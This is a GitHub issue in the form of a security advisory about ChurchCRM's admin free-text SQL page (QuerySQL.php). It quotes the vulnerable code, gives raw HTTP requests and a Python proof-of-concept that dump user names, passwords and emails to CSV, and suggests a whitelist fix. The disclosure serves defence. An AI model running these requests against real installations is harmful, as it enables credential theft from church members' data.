-
Notifications
You must be signed in to change notification settings - Fork 0
ChurchCRM - Arbitrary SQL Query Execution #9
Copy link
Copy link
Open
Description
Product
ChurchCRM
Vendor
ChurchCRM
Vendor Website
GitHub Repository
https://github.com/ChurchCRM/CRM
Affected Version
Latest (as of 2026-02-18)
Vulnerability Type
Improper Input Validation (CWE-20) / Information Disclosure (CWE-200)
CVSS Score
9.1 (Critical)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
Description
The QuerySQL.php feature allows administrators to execute arbitrary SELECT queries against the database without proper restrictions. While the feature is intended for administrative use, it enables complete database data exfiltration with no audit logging or query restrictions beyond the SELECT keyword check.
Vulnerable Code
File: QuerySQL.php
Lines: 17-56
if (isset($_POST['SQL'])) {
// Assign the value locally
$sSQL = stripslashes(trim($_POST['SQL']));
} else {
$sSQL = '';
}
if (isset($_POST['CSV'])) {
ExportQueryResults($sSQL, $rsQueryResults);
exit;
}
// ...
if (isset($_POST['SQL'])) {
if (strtolower(mb_substr($sSQL, 0, 6)) === 'select') {
RunFreeQuery($sSQL, $rsQueryResults);
}
}The only validation is checking if the query starts with "select", which can be bypassed and still allows complete data exfiltration.
Proof of Concept
Basic Data Extraction
POST /QuerySQL.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session
Content-Type: application/x-www-form-urlencoded
SQL=SELECT * FROM user_usrExtract User Credentials
POST /QuerySQL.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session
Content-Type: application/x-www-form-urlencoded
SQL=SELECT usr_UserName, usr_Password FROM user_usrExport to CSV
POST /QuerySQL.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=admin_session
Content-Type: application/x-www-form-urlencoded
SQL=SELECT * FROM user_usr&CSV=1Python PoC
#!/usr/bin/env python3
import requests
target = "http://target.com"
session = {"PHPSESSID": "admin_session"}
# Extract all user credentials
data = {
"SQL": "SELECT usr_UserName, usr_Password, usr_Email FROM user_usr",
"CSV": "1"
}
response = requests.post(f"{target}/QuerySQL.php", data=data, cookies=session)
print(response.text)Impact
- Complete database data disclosure
- User credential extraction
- Sensitive information leakage
- No audit trail of queries executed
Remediation
- Remove or heavily restrict the free-text query feature
- Implement query whitelisting with predefined safe queries
- Add comprehensive audit logging
- Implement query result filtering to mask sensitive data
- Require additional authentication/authorization for this feature
// Example: Whitelist approach
$allowedQueries = [
'members' => 'SELECT * FROM person_per WHERE per_cls_ID = 1',
'families' => 'SELECT * FROM family_fam',
];
if (isset($_POST['queryType']) && isset($allowedQueries[$_POST['queryType']])) {
RunFreeQuery($allowedQueries[$_POST['queryType']], $rsQueryResults);
}Credit
Security Researcher
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels